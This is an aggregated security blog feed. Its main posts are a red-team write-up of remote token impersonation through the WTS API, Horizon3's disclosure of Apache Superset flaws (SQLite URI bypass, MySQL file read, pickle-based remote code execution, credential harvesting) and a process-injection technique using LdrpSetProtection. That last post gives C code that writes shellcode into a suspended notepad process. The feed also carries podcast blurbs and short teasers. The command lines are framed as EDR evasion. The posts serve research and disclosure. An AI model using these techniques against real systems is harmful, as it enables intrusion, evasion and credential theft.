Normal view

There are new articles available, click to refresh the page.
Before yesterdayPentest/Red Team

WTS API Wasteland — (Remote) Token Impersonation In Another Level

By: Omri Baso
20 September 2023 at 12:02

WTS API Wasteland — (Remote) Token Impersonation In Another Level


Hey, My name is Omri Baso, I am holding OSCP, OSWE, and OSED (close to OSEP as well ^^), I am 25 years old security researcher from Israel working at Scorpiones LTD — a premium Red Team and Offensive Research Company and I like researching about Windows, Active Directory, C2 Malwares development and offensive tools.

For the lazy, here is a link to Github POC:

1. Token Impersonation

Many of you red teamers already know the old but gold token impersonation technique, an attacker uses the OpenProcess API and steals the user token while opening a new CMD with the victim user permissions, this helps a lot in engagements where Lsass.exe is protected and dumping credentials is not a possibility for us, I myself wrote a tool that does that alongside with changing the Win Desktop object permissions to allow stealing the token of users with a non-interactive session.

1.2 Differences Between The Methods

Normal Token Impersonation goes as follows:

OpenProcess / NtOpenProcess -> OpenProcessToken -> DuplicateTokenEx -> CreateProcessWithTokenW.

So in general, normal token impersonation manipulates process tokens, while the new WTS technique does not do any of these — only OpenProcessToken is called (on our own process) in the process, the rest is done through the RPC Named Pipe “\\pipe\LSM_API_service” — which means, another process does the heavy lifting for us.

Lets get into the details!

2. WTS API — Token Impersonation Redesigned

While the token impersonation technique is great, it is well known by EDR vendors and is easily blocked by up-to-date EDRs and XDRs, so I thought about ways to evade using the common APIs and steal tokens by using other methods — and that is when I found the WTS API, this API is used by RDP services and has a lot of capabilities exposed through an RPC interface, the interesting API that I found is WTSQueryUserToken.

Many other APIs are there that might be useful

As the same suggests, this API will give user a user token, well.. this API seems promising, by reading the documentation, we understand that suppling a SessionId (Logon session) will enable us to obtain the user token from that Session ID.

BOOL WTSQueryUserToken(
[in] ULONG SessionId,
[out] PHANDLE phToken

Seems quite nice, how do we obtain the SessionsId though? this is where we encounter another API called WTSEnumerateSessionsA

By combining the pieces I created a code which uses WTSEnumerateSessionsA → WTSQuerySessionInformationA -> WTSQueryUserToken -> CreateProcessAsUserW

But wait, it is not all that great.

3. Reversing The Method

Sorting out the facts:

The WTSQueryUserToken will only work through a service and the service must have the permission SeDelegateSessionUserImpersonatePrivilege alongside with SE_TCB_NAME.

The enumeration phase can be achieved by using the RPC named pipe called “\\pipe\LSM_API_service” (WTSEnumerateSessionsA → WTSQuerySessionInformationA) which means we can use that RPC in order to discover which users are connected to each station without deploying code on the system.

due to the fact that this name pipe is barely documented, we can guess that LSM stands for Local Security Manager (just a guess).

Starting our analysis, we will go to the WTSQueryUserToken function in IDA Pro we see the following:

as I saw the PrivilegeCheck call I thought to myself, wait, maybe there is only a Usermode permissions validation? I kept that in my mind and continued on reversing

As can be seen, the WTSQueryUserToken is just a wrapper around the WinStationQueryInformationW so our analysis must be continued elsewhere.

And there we find Winsta.dll.

Since the WinStationQueryInformationW function was MASSIVE so I decided to look for hints regarding the path it takes to steal a user token, and I found the following undocumented function GetUserTokenForSession this function takes two variables, an Int and a pointer to a pointer, so we can assume the function signature looks as follows (int SessionId, PHANDLE Token)

So I edited the function signature in order to make it easier to trace execution, in short, we must make sure that no weird API calls are made and we understand the flow of execution correctly.

We can identify that the use of the SessionId variable is done once, in an RPC call NdrClientCall3

And that seals the deal for us, no calls are made to OpenProcess, NtOpenProcess or any of these APIs.

Since we are Security Researchers and we like to be thorough we will use frida-trace.exe in order to make sure we do not execute anything related to other process besides ours.

An inspection reveals that we are indeed not executing anything related to other process besides our own process when using the API WTSQueryUserToken.

This gives us a great ability to avoid detection of common token stealing techniques!

Remember the PrivilegeCheck call from before? I tried writing code to call the GetUserTokenForSession directly without being a Service as stated in the documentation but It did not seem to work, which means, permissions are also validated at the other side of the RPC (server — side).

4.1. Writing The Code — Remote Token Impersonation

As mentioned before, we had a few obstacles, one of which was that this RPC does not allow to query the user token without the SeTcbPrivilege which is held by the SYSTEM account, and It must be a service process as well.

To solve this issue, I used PsExec.exe during development opened a cmd.exe and execute the WTSImpersonator.exe from that CMD.exe, and Wohhallaa, it worked.

It is important to mention, if you use the WTSQueryUserToken API as SYSTEM — WITHOUT being a service, you will Indeed get the Token, but CreateProcessAsUserW will give you access denied.

It did work with CreateProcessWithTokenW but the process crashes due to issues with loading DLLs (maybe you guys want to look into it).

5. Proof Of Concept —Local Token Impersonation

For our demonstration we have a machine with a domain admin logged as the user LABS/Administrator and we have access to the user LABS/Jon which is Local Administrator on this machine.

Since we must execute as a Service and the SYSTEM account, I used PsExec to launch a CMD.exe from a Service.

PsExec64.exe -accepteula -s cmd.exe

and then we executed our WTSImpersonator.exe

WTSImpersonator.exe -m enum

As we can see we have the Administrator account logged in as SessionId 3, we can use the “exec” mode in order to open a CMD as that user, in our own window, without launching another separate window.

WTSImpersonator.exe -m exec -id 3 -c C:\Windows\System32\cmd.exe

And boom, we owned the LABS/Administrator user without opening any of the high-privileged account process.

And then my brain went like:

But wait… if we must execute a service… and we are executing via PsExec… why not make it work remotely on other machines..?

5.1. Proof Of Concept — Remote Token Impersonation

Since some of the “\\pipe\LSM_API_service” implementation is accessible remotely, we can perform the enumeration phase without dropping any files to the disk unless necessary, which helps us remain stealth.

For our demonstration I created a domain called labs.local where we have 1 Domain Controller and 2 Machines, our users are: LABS/Jon and LABS/Administrator.

We have DESKTOP-J8L4KJT where LABS/Jon is a Local Administrator at.

We also have DESKTOP-RKOL027 — this is a PC where Jon is actually working from and this is from where we will attack DESKTOP-J8L4KJT.

By using the WTSImpersonator.exe and using the “enum” module, we queried the remote computer RPC and we discovered that we have a login from the user LABS/Administrator with SessionId 3 at the DESKTOP-J8L4KJT (

Following up on that, from our attacking machine, we want to get a reverse shell on the remote machine as the LABS/Administrator user, without touching Lsass.exe, and without using any of the OpenProcess API variations.

In that process via SMB we move the Service executable and the Attacker Payload into the victim machine and then we create a remote service which will execute our attacker binary as the victim user by using our newly discovered API WTSQueryUserToken.

WTSImpersonator.exe -m exec-remote -s -id 3 -c C:\Users\jon\Desktop\SimpleReverseShellExample.exe -sp C:\Users\Jon\Desktop\WTSService.exe

As it seems by the output, our service executed properly and our attacker binary should have been executed (this is a reverse shell to our Kali machine, but could be anything else).

Going back to our Kali machine we can see that indeed we got code execution as the LABS/Administrator user!

5.2. Abusing “\\pipe\LSM_API_service” — User Hunter

After confirming that we can consume the “\\pipe\LSM_API_service” remotely I decided I should create a function which helps us hunt for users we want and execute code on their behalf.

This “user-hunter” mode takes a list of IPs/Hostnames, and “Domain/Username” parameter, then it queries each machine if that user is present, if so, It will try the same “exec-remote” method and execute code on the desired user behalf.

As can be seen in the screenshot, as soon as the desired user was found, the WTSImpersonator.exe tried executing code as that user.

5.3. Video POC

6. Implementing The Technique On Your Own — Rules

It is important to remember this is just a POC of the technique and you guys can implement these methods in your own ways, just remember, you must run as a service and not a console application, with exception that you can run as console application only if the executable executing the WTSImpersonator.exe is a service by itself, for example, using your PsExec.exe shell.

For my POC of the technique go to my Github Repo.

Cybersecurity investment and launching new companies | Guest Leslie Lynn Smith

By: Infosec
18 September 2023 at 18:00

Leslie Lynn Smith is the National Executive Director for GET Cities. GET stands for Gender Equality in Tech. Today’s episode will move away from standard cybersecurity and IT insights in favor of a larger look at investment opportunities for tech startups, and where and on who we spend investment capital. Smith is a multi-decade authority on state- and city-wide community investment initiatives with a lifelong passion for bringing people of marginalized races and genders to the table in fulfilling their tech business dreams. Smith talks about bridging the gap from angel investor money to initial seed, and why the space between the two can sink new startups, the slow, patient process of affecting equitable change at the legislative level, and offers an accelerated way to make IT and cyber teams more inclusive and equitable. If you’ve wanted to get involved with angel investing and helping young companies get off the ground, Smith talks you through the process with no steps missed. 

0:00 - Gender equity in tech
3:35 - Leslie Smith's journey in tech
9:40 - Equity in cybersecurity at GET Cities
15:03 - How does GET Cities work? 
21:20 - Concrete ways to work towards gender equity in tech
30:30 - Imposter syndrome revised
35:00 - Where does equity work need to be done in tech?
40:30 - How to invest in tech and cybersecurity
43:33 - GET Cities upcoming initiatives
46:00 - Learn more about GET Cities and Smith
46:40 - Outro

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at


A Deep Dive into TPM-based BitLocker Drive Encryption

15 September 2023 at 15:14
When I investigated CVE-2022-41099, a BitLocker Drive Encryption bypass through the Windows Recovery Environment (WinRE), the fact that the latter was able to transparently access an encrypted drive without requiring the recovery password struck me. My initial thought was that there had to be a way to reproduce this behavior and obtain the master key … Continue reading A Deep Dive into TPM-based BitLocker Drive Encryption

Bringing coding skills to underserved communities | Guest Brianne Caplan

By: Infosec
13 September 2023 at 18:00

Brianne Caplan is the founder and executive director of Code Your Dreams, a non-profit that brings knowledge, accessibility and excitement about programming and tech to learners from age 5 to adulthood in underserved communities. Caplan tells some incredible stories, like the women’s coding and data analysis group in Burundi, exciting coding projects for students interested in art, music and dance and why her experience inadvertently creating a non-profit company that was incorporated as a for-profit was a learning experience that helped kickstart Code Your Dreams! This one’s inspiring, so I hope you’ll keep it here for Cyber Work.

– Get your FREE cybersecurity training resources:
– View Cyber Work Podcast transcripts and additional episodes:

0:00 - Coding for underserved communities 
3:11 - Brianne Caplan's start in cybersecurity
8:04 - Cash for Schools
10:50 - What is Code Your Dreams?
14:40 - How Code Your Dreams works
17:52 - Gaps in cybersecurity school education
21:00 - Baseline tech literacy for grade school
23:30 - Popular Code Your Dreams activities
27:08 - After Code Your Dreams
35:11 - Volunteer for Code Your Dreams
37:00 - Bring Code Your Dreams to your school
39:40 - Get in touch with Brianne Caplan
40:15 - Outro

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at


Security VS Corporate Management

13 September 2023 at 07:01
The devil and holy water  THE SITUATION  Having had the opportunity to observe a few hundred companies over the past 30 years, to date there is a greater and growing awareness of information security issues or corporate security more generally. It can be said that a good portion of the corporate and medium-sized enterprise has […]

Emerging threats: Adapting cyber defense to the changing landscape

By: OffSec
8 September 2023 at 14:22

As we step further into 2023, the digital world presents us with new cybersecurity challenges that can’t be ignored. Ransomware continues to evolve with smarter tactics. Cloud security, once deemed robust, faces fresh vulnerabilities as more businesses transition online. And then there’s 5G—its rapid adoption brings along a slew of concerns, making our defensive teams work around the clock. Beyond these, there are subtler threats emerging, often overlooked but equally dangerous. 

In this post, we aim to shed light on these issues, providing an easy-to-follow guide on what’s new in the cyber threat landscape and how professionals are addressing them.

1. Ransomware

Ransomware has witnessed a meteoric rise in both complexity and frequency. It involves malicious software that encrypts a user’s data, making it inaccessible until a ransom is paid to the attacker.

... Read more »

The post Emerging threats: Adapting cyber defense to the changing landscape appeared first on OffSec.

Intro To Honeypots

By: Tristram
6 September 2023 at 18:22

Honeypots remain a relatively unexplored concept beyond the realms of security research organizations. This is largely due to the stigma where these types of systems are typically observed as being exploitable, therefore introducing unnecessary risk. This fear of the unknown results in lost opportunities for defenders by avoiding the topic altogether.

We will help eliminate this fear by illustrating how the strategic planning of a honeypot can not only leverage anticipated behavior from attackers but also serve as a proactive defensive measure, enabling early threat detection within a controlled environment.

Understanding Defensive Honeypots

  • What is a Honeypot?
  • Utilizing Honey Tokens
  • Managing The Risk
  • Practicality Through Deception

What is a Honeypot?

A honeypot is a strategically positioned system that serves a variety of purposes.

... Read more »

The post Intro To Honeypots appeared first on OffSec.

Foresite Cybersecurity adds’s NodeZero™ to their ProVision Platform for Continuous Security Posture Verification

By: Cassie
6 September 2023 at 14:29

Business Wire 09/06/2023

Foresite today announced a new partnership with to integrate its NodeZero™ autonomous penetration testing technology with Foresite’s ProVision platform to deliver Managed Cyber Testing with Attacker’s View to Foresite partners and their customers. This new offering will further enable Foresite customers to simplify risk reduction, improve security operations, streamline security compliance, prioritize security tasks, and reduce the complexity of cybersecurity overall……

Read the entire article here

The post Foresite Cybersecurity adds’s NodeZero™ to their ProVision Platform for Continuous Security Posture Verification appeared first on

Apache Superset Part II: RCE, Credential Harvesting and More

6 September 2023 at 13:55

Apache Superset is a popular open source data exploration and visualization tool. In a previous post, we disclosed a vulnerability, CVE-2023-27524, affecting thousands of Superset servers on the Internet, that enables unauthorized attackers to gain admin access to these servers. We also alluded to methods that an attacker, logged in as an admin, could use to harvest credentials and execute remote code. We didn’t disclose these methods because they hadn’t been fixed yet at the time of that post.

In this post, we disclose all the issues we’ve reported to Superset, including two new high severity vulnerabilities, CVE-2023-39265 and CVE-2023-37941, that are fixed in the just released 2.1.1 version of Superset. We strongly recommend that all Superset users upgrade to this version.


Apache Superset is written in Python and based on the Flask web framework. CVE-2023-27524 arises from an insecure default configuration of the Flask SECRET_KEY value. Knowing the value of the Flask SECRET_KEY, an attacker can forge session cookies and log in to Superset with admin privileges. More details are available in the first post.

This issue of the insecure default configuration was mostly fixed with the 2.1.0 release of Superset. If you’re a user of Superset, you can run a script available here to check if you’re vulnerable.

The rest of this post covers what an attacker can do once he/she has attained admin privileges, either from exploiting CVE-2023-27524, or by other means. In certain installs of Superset the admin account has the default credentials admin/admin.

Some of the attacks described here are also possible with a non-admin account. Superset has fine grained access control with multiple role types, and a user who happens to have the right permissions may be able to pull off certain attacks.

Getting Read/Write Access to the Metadata Database

Many of the attacks in this post start with first getting control of Superset’s metadata database, i.e. its configuration store. Superset by design allows privileged users to connect to arbitrary databases and execute arbitrary SQL queries against those databases using the powerful SQLLab interface. If Superset can be tricked into connecting to its own metadata database, an attacker can directly read or write application configuration through SQLLab. This leads to harvesting credentials and remote code execution, as we’ll describe later below.

SQLite Access via SQLAlchemy URI Bypass (CVE-2023-39265)

By default Superset uses SQLite as its metadata database, and the SQLite file is located on the Superset web server.

Attempting to connect to this SQLite database through the Superset UI doesn’t work, as Superset has safeguards in place to prevent sqlite connections.

We discovered, however, that it’s possible to bypass this safeguard by putting in the full SQLAlchemy URI containing both the dialect and driver name, e.g. sqlite+pysqlite:////app/superset_home/superset.db

After connecting to the metadata store, an attacker can then enable it for use in SQLLab and turn on write/DML statements.

This issue, tracked as  CVE-2023-39265, affects Superset versions <= 2.1.0. It was fixed in the 2.1.1 release by blocking any SQLAlchemy URIs starting with sqlite instead of just blocking the sqlite:// syntax.

SQLite Access via Import Database (also CVE-2023-39265)

Superset supports configuring databases by importing database connection information from a file. We discovered that this feature didn’t enforce any restrictions for connecting to SQLite stores. An attacker can gain control of a SQLite metadata database by creating a crafted database import zip file and importing it. This issue is also fixed in the 2.1.1 release and tracked under the same CVE ID as the previous issue, CVE-2023-39265.

The crafted database import zip file would contain a YAML file similar to below:

MySQL Arbitrary File Read Vulnerability

For production installs, Superset recommends using a more robust metadata database like Postgres running on a dedicated server instead of SQLite. For Superset versions <= 2.1.0, it’s possible to leverage a well-known “misfeature” in MySQL to get credentials to the metadata database, and then connect to the metadata database through the UI. To do this, an attacker would:

  • Setup a rogue attacker-controlled MySQL server with the local_infile setting enabled
  • Use the Superset UI to connect to the attacker-controlled MySQL server. (It’s not required to set the local_infile option explicitly on the client as it’s on by default in the python SQLAlchemy driver.)
  • Use the SQLLab interface to run a LOAD DATA LOCAL INFILE command to load the content of arbitrary files on the Superset server into the attacker-controlled MySQL server

Credentials to the metadata database are available in the environment (/proc/self/environ) or in the or files. Here’s an example of reading credentials out of /proc/self/environ, using the docker-compose setup with Superset 2.1.0:

This MySQL misfeature has bitten many applications in the past. The Superset team chose not to track this as a vulnerability in their product, but it’s something users should be aware of. This issue is fixed in Superset 2.1.1.

Load Examples

Superset offers users the ability to load example data into the application using the superset load_examples CLI command. The examples data is unfortunately loaded into the metadata database, and the connection to the examples/metadata database is populated in the UI. This enables any privileged user to potentially explore and modify data in the metadata database.

This issue affects Superset versions <= 2.1.1. It’s fixed with this pull request, on the bleeding edge release as of this writing.

Default Metadata Database Credentials

Certain installations of Superset, such as docker-compose, use default credentials to access the metadata database. Knowing the defaults, an attacker can trivially connect to the metadata database and gain control over it.

Harvesting Credentials from the Metadata Database

Once an attacker has gained control of the metadata database, it’s straightforward to harvest credentials from it using SQLLab. An attacker would likely target Superset user password hashes and the credentials for accessing any configured databases.

User password hashes are stored in the ab_user table:

Database connection info is stored in the dbs table..

Passwords in this table are encrypted using the sqlalchemy-utils library, which by default uses AES128, and the encryption key is the SHA2 hash of the SECRET_KEY. Decryption is straightforward:

If the SECRET_KEY is not known ahead of time, an attacker can exploit the MySQL arbitrary file read vulnerability described above to read it out of the environment or config files.

Remote Code Execution on the Superset Server (CVE-2023-37941)

Superset versions from 1.5 to 2.1.0 use python’s pickle package to store certain configuration data. An attacker with write access to the metadata database can insert an arbitrary pickle payload into the store, and then trigger deserialization of it, leading to remote code execution.

Here’s an example exploiting dashboard permalink metadata, which Superset was storing using pickle:

First, an attacker would generate a dashboard permalink from the UI:

Next, an attacker generates a malicious pickle payload to run an arbitrary payload (e.g. a python reverse shell):

Then, an attacker uses SQLLab to write a malicious pickle payload into the key_value table of the metadata database:

The example above is for the default SQLite-based metadata database. The syntax is slightly different for a Postgres metadata database:

Finally, an attacker can browse to the permalink to trigger loading the malicious pickle, leading to remote code execution:

This issue, tracked as CVE-2023-37941, was fixed in Superset 2.1.1 by replacing pickle with JSON for storing configuration.

Other Findings

Remote Code Execution on a Database Server

In addition to RCE on the Superset web server, it’s possible to get RCE on any connected database, if the database is configured with a privileged user. There are a number of well-known techniques for doing this. Here’s an example of getting remote code execution on the Postgres server that is set up by default with the docker-compose install, using a perl reverse shell.

Database Credentials Leak (CVE-2023-30776)

For Superset versions < 2.1.0, we found that the credentials for databases configured in Superset are leaked in clear text when querying the Superset /api/v1/database API as a privileged user. This vulnerability (CVE-2023-30776) was fixed in Superset 2.1.0:

Remote Code Execution on Older Superset Servers

The pickle RCE vector we disclosed above affects Superset versions 1.5 to 2.1.0. We believe RCE is likely possible against older Superset servers. One option that looks promising but we didn’t fully explore is RCE via SQLite using the method described here.

Remediation Guidance

We recommend that users of Superset:

  1. Double-check all your defaults: the Flask SECRET_KEY, Superset admin credentials, metadata database credentials, etc. Even if you’re on the latest version of Superset, you still may be using a default SECRET_KEY! You can run a script available here to check if you’re vulnerable to CVE-2023-27524.
  2. Update to the latest Superset version 2.1.1.
  3. Double-check that you’re not using any “root” level credentials to connect Superset to databases.
  4. Remove the examples database.
  5. If you’re exposing Superset to the Internet, seriously think about whether it’s truly required to do so. Consider putting it behind a VPN.

Remediation Status for CVE-2023-27524

In the first blog post, we reported that 67% of Superset installs (2124 out of 3176 instances found) were found to be using a default Flask SECRET_KEY.

We ran the numbers again, this time broadening our search to cover more Superset servers and also attempting to not only check for the default Superset SECRET_KEYs but other easily guessable SECRET_KEYs that a user may have configured. The results are below:

The new results show that ~54% of Superset installs (2076 out of 3842 servers found) are using a default SECRET_KEY. This is a modest reduction from the 67% we reported at the end of April.

Notably, a couple of Superset SECRET_KEYs are still defaulted depending on the type of install, even with the current latest release. thisISaSECRET_1234 has always been hard-coded as part of the helm-based install. TEST_NON_DEV_SECRET is hard-coded for the docker-compose-based install and was recently added with the 2.1 release. This means the ~345 installs using the TEST_NON_DEV_SECRET key were very likely installed within the last 4-5 months, and some of these users may have thought they were getting a Superset version that wasn’t vulnerable to CVE-2023-27524 but in fact still is.

Additionally, we found another ~2% of installs (72) using an easily guessable user provided SECRET_KEY. These are SECRET_KEY values like superset, SUPERSET_SECRET_KEY, 1234567890, admin, changeme, thisisasecretkey, your_secret_key_here, etc.

Indicators of Compromise

If you’re a user of Superset and think your Superset server may have been compromised, you can check the Superset action log and web server logs for suspicious activity. Calls to the DatabaseRestApi, DashboardPermalinkRestApi, and SqlLabRestApi should be scrutinized, as well as any actions for which there is no associated Superset user. The addition of any databases or modification of database configuration should be considered suspicious. The SQLLab query history interface can be used to view any prior queries that were executed against a database. Of course, an attacker who has compromised the Superset server can tamper with all logs to cover their tracks.


In this post, we’ve disclosed a number of vulnerabilities affecting Apache Superset that, in conjunction with the previously disclosed CVE-2023-27524, effectively lead to unauthenticated remote code execution, credential harvesting, and data compromise. Almost all of the issues we’ve disclosed are fixed in the Superset 2.1.1 release.

There are a few issues to be aware of:

  • As of this writing, there are still a few default settings to be aware in the Superset helm template and docker-compose setup. The Superset team is aware of these defaults and planning to remove them. The latest data we gathered supports removing these defaults and providing a complete fix for CVE-2023-27524.
  • The user is responsible for setting the Flask SECRET_KEY, which invariably leads to some users setting weak keys, as proven by the latest data we gathered. We recommend the Superset team automatically generate the SECRET_KEY and take this completely out of the users’ hands.
  • At the root of many of the vulnerabilities in this post is the fact that the Superset web interface permits users to connect to the metadata database. We recommend the Superset team add a security restriction to prevent users from ever connecting to the metadata database.

On the whole, we believe that Superset is significantly more secure now than it was at the start of the year. We’re also heartened to see a check for default SECRET_KEYs recently added into CodeQL, which will help “shift left” the discovery of these kind of issues in the future.


  • Oct. 11, 2021: Initial communication from Horizon3 to Apache Security team about default SECRET_KEY
  • Oct. 12, 2021: Superset team says they will look into issue
  • Jan. 11, 2022: Superset team changes default SECRET_KEY and adds warning to logs with this Git commit
  • Feb. 9, 2023: Email to Apache Security team from Horizon3 about new data related to insecure default configuration. Started notifying certain organizations.
  • Feb. 13, 2023: Confirmation of email received by Apache Security team
  • Feb. 22, 2023: Preliminary blog post sent by Horizon3 to Apache Security team about insecure default configuration, MySQL arbitrary file read vulnerability, and database password leak.
  • Feb. 24, 2023: Superset team confirms code change will be made to address default SECRET_KEY
  • Mar. 1, 2023: Superset pull request merged with code change to address default SECRET_KEY
  • Apr. 5, 2023: Superset 2.1.0 release
  • Apr. 12, 2023: Superset team says the MySQL arbitrary file read issue is fixed
  • Apr. 13, 2023: Superset team confirms database password leak issue that was fixed in 2.1.0. Assigns CVE-2023-30776.
  • Apr. 14, 2023: Horizon3 reports the MySQL arbitrary file read issue is not fully fixed.
  • Apr. 19, 2023: Superset team updates that new fix has been made for MySQL arbitrary file read issue.
  • Apr. 21, 2023: Horizon3 informs Superset that RCE is possible via pickle deserialization.
  • Apr. 22, 2023: Horizon3 informs Superset about SQLite SQLAlchemy URI bypass to connect to SQLite metadata store.
  • Apr. 24, 2023: CVE-2023-27524 disclosed
  • Apr. 24, 2023: Superset confirms RCE and SQLite SQLAlchemy URI bypass
  • Apr. 25, 2023: Horizon3 releases first blog post on CVE-2023-27524
  • June 6, 2023: Superset confirms pickle has been replaced with json and the SQLite SQLAlchemy URI bypass has been fixed
  • July 14, 2023: Horizon3 tests 2.1.1rc2 build and raises new issue related to database import with a SQLite URI.
  • July 14, 2023: Superset confirms database import issue
  • July 26, 2023: Superset confirms creation of new CVEs and fix for database import issue
  • Aug. 26, 2023:: Horizon3 sends preview of this blog post to Superset
  • Aug. 29, 2023: Superset 2.1.1 released
  • Sept. 6, 2023: This post


The post Apache Superset Part II: RCE, Credential Harvesting and More appeared first on

Changing memory protection using APC

By: jfmeee
18 October 2022 at 17:36

Process injection is an important part of Windows offensive tradecraft. The strategy is defined by combining various primitives - memory allocation, write, execute, etc. One of the primitives is changing memory protection - for example from PAGE_READWRITE to PAGE_EXECUTE_READ - to be able to execute the malicious code residing in the target process virtual memory.

Matthew (x86matthew) recently published awesome article. He demonstrated the function with three arguments exported by ntdll.dll that can be APC called and used as a memory write primitive. For more details - please refer to Matthew's blogpost.

More "wrapper" functions should definitely exist, that have less than 4 arguments (to be used with APC) and can be used as another primitive for process injection. The following function caught my attention:

0:007> uf ntdll!LdrpSetProtection
00007ffa`91276f70 488bc4          mov     rax,rsp
00007ffa`91276f73 48895808        mov     qword ptr [rax+8],rbx
00007ffa`91277000 488d842480000000 lea     rax,[rsp+80h]
00007ffa`91277008 4883c9ff        or      rcx,0FFFFFFFFFFFFFFFFh
00007ffa`9127700c 4c8d442430      lea     r8,[rsp+30h]
00007ffa`91277011 4889442420      mov     qword ptr [rsp+20h],rax
00007ffa`91277016 488d542438      lea     rdx,[rsp+38h]
00007ffa`9127701b e8f0a00100      call    ntdll!NtProtectVirtualMemory (00007ffa`91291110)

Let's go through ReactOS code for LdrpSetProtection step by step. Disassembling the function in IDA confirms that ReactOS code is relevant.

 LdrpSetProtection(PVOID ViewBase,
                   BOOLEAN Restore)
     NTSTATUS Status;
     PVOID SectionBase;
     SIZE_T SectionSize;
     ULONG NewProtection, OldProtection, i;

     /* Get the NT headers */
     NtHeaders = RtlImageNtHeader(ViewBase);
     if (!NtHeaders) return STATUS_INVALID_IMAGE_FORMAT;

LdrpSetProtection has two arguments. Firstly, ViewBase must point to the executable header that passes RtlImageNtHeader. To achieve this you need:

  1. DOS header with a correct offset to NT header;
  2. NT header with __IMAGE_FILE_HEADER that makes sense (especially NumberOfSections);
  3. __IMAGE_SECTION_HEADER which is going to directly affect ZwProtectVirtualMemory execution later.

Then executable header is parsed to initialize necessary variables.

/* Compute address of the first section header */
     Section = IMAGE_FIRST_SECTION(NtHeaders);

     /* Go through all sections */
     for (i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++)
         /* Check for read-only non-zero section */
         if ((Section->SizeOfRawData) &&
             !(Section->Characteristics & IMAGE_SCN_MEM_WRITE))
             /* Check if we are setting or restoring protection */
             if (Restore)
                 /* Set it to either EXECUTE or READONLY */
                 if (Section->Characteristics & IMAGE_SCN_MEM_EXECUTE)
                     NewProtection = PAGE_EXECUTE;
                     NewProtection = PAGE_READONLY;

                 /* Add PAGE_NOCACHE if needed */
                 if (Section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED)
                     NewProtection |= PAGE_NOCACHE;
                 /* Enable write access */
                 NewProtection = PAGE_READWRITE;

The section header is the most important part. Define SizeOfRawData and Characteristics depending on memory protection you want to set (e.g. IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ ). Choose the necessary value for LdrpSetProtection second argument (Restore) depending on the memory protection you would like to set (TRUE for PAGE_EXECUTE and FALSE for PAGE_READWRITE).

The next fragment of the code defines the target memory address passed to ZwProtectVirtualMemory.

            /* Get the section VA */
             SectionBase = (PVOID)((ULONG_PTR)ViewBase + Section->VirtualAddress);
             SectionSize = Section->SizeOfRawData;
             if (SectionSize)
                 /* Set protection */
                 Status = ZwProtectVirtualMemory(NtCurrentProcess(),
                 if (!NT_SUCCESS(Status)) return Status;

To try to change memory protection for arbitrary virtual memory page, we need to set VirtualAddress to the following value:

imgSectionHeader.VirtualAddress = (u_char*)targetMemory - (u_char*)remoteFakeHeader;

This will result in the following SectionBase value:

SectionBase = remoteFakeHeader + targetMemory - remoteFakeHeader = targetMemory

This way you can use LdrpSetProtection to set executable memory for virtual memory page in the target process. Inserting multiple sections into fake header allows to introduce multiple memory protection changes at once!

There is an important caveat - the virtual address of targetMemory should be higher than the address of remoteFakeHeader. The remoteFakeHeader passed to LdrpSetProtection is unsigned int64:

_int64 __fastcall LdrpSetProtection(__int64 a1, char a2)

When SectionBase address is calculated - DWORD (32bit) SectionVirtual Address value is added to unsigned int64 ViewBase.

typedef struct _IMAGE_SECTION_HEADER {
  DWORD VirtualAddress;

This makes it impossible to integer overflow remoteFakeHeader using DWORD value under control - hence the requirement to have targetMemory higher than remoteFakeHeader. You can play around it by allocating remote memory for the fake header in the first place and allocating memory for the shellcode after.

The code snippet below demonstrates how to change memory protection in the remote process.

#include <Windows.h>
#include <stdio.h>
#include "functions.h"

char sc[] = "[SHELLCODE]";

int main()
    wchar_t procPath[] = L"C:\\Windows\\System32\\notepad.exe";
    STARTUPINFO startup = { sizeof(STARTUPINFO) };

    // Create suspended process
    CreateProcess(nullptr, procPath, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &startup, &pi);

    // Prepare dummy executable header
    _IMAGE_NT_HEADERS64 header;
    _IMAGE_DOS_HEADER dosHeader;
    _IMAGE_FILE_HEADER peHeader;
    IMAGE_SECTION_HEADER imgSectionHeader{ 0 };
    header.Signature = 0x00004550;
    peHeader.Machine = 0x8664;
    [Filling up _IMAGE_FILE_HEADER]
    header.FileHeader = peHeader;
    dosHeader.e_magic = 0x5a4d;
    [Filling up _IMAGE_DOS_HEADER]
    imgSectionHeader.SizeOfRawData = 10;
    // We want to change remote memory protection in the target process to executable
    imgSectionHeader.Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;
    imgSectionHeader.SizeOfRawData = 4096;

    // Write dummy header to the local buffer
    SIZE_T dummyHeaderLen = sizeof(_IMAGE_DOS_HEADER) + sizeof(header) + sizeof(IMAGE_SECTION_HEADER);
    LPVOID dummyHeaderLocal = LocalAllocPrimitive(dummyHeaderLen);
    memcpy(dummyHeaderLocal, &dosHeader, sizeof(_IMAGE_DOS_HEADER));
    memcpy((u_char*)dummyHeaderLocal + sizeof(_IMAGE_DOS_HEADER), &header, sizeof(header));

    // Allocate remote memory for the dummy header
    LPVOID dummyHeaderRemote = RemoteAllocPrimitive(pi.hProcess, dummyHeaderLen);

    // Allocate RW virtual memory to write shellcode to
    LPVOID shellcode = RemoteAllocPrimitive(pi.hProcess, sizeof(sc));
    // Write shellcode to the remote process allocated memory
    RemoteWritePrimitive(pi.hProcess, shellcode, sc, sizeof(sc));

    // Based on the allocated remote memory address - calculate IMAGE_SECTION_HEADER virtual address to target LPVOID memory holding the shellcode
    imgSectionHeader.VirtualAddress = (u_char*)shellcode - (u_char*)dummyHeaderRemote;
    memcpy((u_char*)dummyHeaderLocal + sizeof(_IMAGE_DOS_HEADER) + sizeof(header), &imgSectionHeader, sizeof(IMAGE_SECTION_HEADER));
    // Write dummy header to the remote process
